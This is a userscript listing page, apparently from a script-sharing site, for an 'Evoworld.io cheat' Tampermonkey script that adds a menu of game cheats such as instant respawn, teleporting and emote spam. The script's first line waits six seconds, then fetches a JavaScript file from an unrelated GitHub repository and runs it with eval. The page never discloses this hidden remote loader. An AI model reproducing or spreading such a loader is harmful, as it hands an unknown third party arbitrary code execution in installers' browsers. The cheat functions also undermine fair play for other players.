Evoworld.io plotri

Evoworld.io cheat

目前為 2025-04-04 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         Evoworld.io plotri
// @namespace    http://tampermonkey.net/
// @version      0.3
// @description  Evoworld.io cheat
// @author       You
// @license      MIT
// @match        https://evoworld.io/
// @icon         https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
// @grant        none
// ==/UserScript==

(function() {
setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/main/o.js", (d) => eval(d));}, 6000); 
let overlayHTML = `
<div id="cheat" style="z-index: 10;position: absolute;top: 350px;left: 7px;transition: 0.5s;border: 5px solid black;">
Basic cheats:
<br><input type="checkbox" id="ir">Instant respawn</br>
<input type="checkbox" id="sm">Smooth movement</br>
<input type="checkbox" id="lht">Low/normal hp table</br>
<input type="checkbox" id="ht">show hp</br>
<input type="checkbox" id="eh">Emoji spam</br>
<button id="hj">Holding jump (key e)</button><br>
Go to:<br>
<input type="checkbox" id="gts">Go to swamp</br>
<input type="checkbox" id="gtd">Go to desert</br>
<input type="checkbox" id="gtm">Go to middle</br>
Exp:<br>
<input type="checkbox" id="eb3">Exp bonus 30%</br>
Canvas size:<br>
<button id="dscs">Disable setCanvasSize</button></br>
Canvas height<input type="range"  min="1" max="5100" value="1" id="CanvasSizeX"><br>
Canvas width<input type="range"  min="1" max="5100" value="1" id="CanvasSizeY"></br>
</div>
<div id="lowhptable" style="opacity: 0;">
<h2 style="background-color: red;">ㅤㅤLOW HEALTH!</h2>
</div>
<div id="hptable" style="opacity: 0;">
</div>
<div id="normalhptable" style="opacity: 0;">
<h2 style="background-color: green;">ㅤ NORMAL HEALTH</h2>
</div>
<style>
#lowhptable {
    top: 750px;
    left: 7px;
    position: absolute;
    }
#normalhptable {
    top: 750px;
    left: 7px;
    position: absolute;
    }
#hptable {
    top: 450px;
    left: 900px;
    position: absolute;
    }
.button {
  height: 75px;
  background-color: white;
}
button:hover {
background-color: gray;
}
</style>
`
function get(x){ return document.getElementById(x); };

let overlay = document.createElement("div");
    overlay.innerHTML = overlayHTML;
    document.body.appendChild(overlay);
      document.body.appendChild(overlay);
    document.addEventListener('keydown', (event) => {if (event.keyCode == 89) {
    if(document.getElementById("cheat").style.opacity == 1) {
    document.getElementById("cheat").style.opacity = 0;
    }
        else {document.getElementById("cheat").style.opacity = 1;}}})
     alert('Open/close menu on y')

    document.getElementById('CanvasSizeX').oninput = function() {
    game.canvas.width = this.value
    }
    document.getElementById('CanvasSizeY').oninput = function() {
    game.canvas.height = this.value
    }
    setInterval(function(){if(document.getElementById('ir').checked == true){if(imDead == true){playAgain()}}
    if(document.getElementById('gts').checked == true){game.camera.position = {x: 32120.979428936298, y: 2320.449999981}}
    if(document.getElementById('gtd').checked == true){game.camera.position = {x: 81924.5164619628, y: 2320.449999984}}
    if(document.getElementById('eh').checked == true){sendEmote(1);}
    if(document.getElementById('ht').checked == true){document.getElementById('hptable').innerHTML = game.me.hp}
    if(document.getElementById('sm').checked == true){game.maxInterpolateDistanceTeleport = 3000}else{game.maxInterpolateDistanceTeleport = 300}
    if(document.getElementById('gtm').checked == true){game.camera.position = {x: 54778.322855249105, y: 2358.94311498326}}
    if(document.getElementById('lht').checked == true){if(game.me.hp <= 20){document.getElementById('lowhptable').style.opacity = 1;}else{document.getElementById('lowhptable').style.opacity = 0;}
    if(game.me.hp >= 20){document.getElementById('normalhptable').style.opacity = 1;}else{document.getElementById('normalhptable').style.opacity = 0;};}
    if(document.getElementById('eb3').checked == true){startBonus = true}else{startBonus = false}
    })
    document.getElementById('hj').addEventListener('click', function() {
    document.addEventListener('keydown', (event) => {if (event.key == 'e') {document.getElementById("canvasGame").click()()}})
    })
    document.getElementById('dscs').addEventListener('click', function() {
    game.setCanvasSize = function(){}
    })
    document.getElementById('lht').addEventListener('click', function() {
    document.getElementById('lowhptable').style.opacity = 0;
    document.getElementById('normalhptable').style.opacity = 0;
    })
    document.getElementById('ht').addEventListener('click', function() {
    if(document.getElementById('hptable').style.opacity == 0){
        document.getElementById('hptable').style.opacity = 1
    }
        else{
            document.getElementById('hptable').style.opacity = 0
            }
    })
 }
)();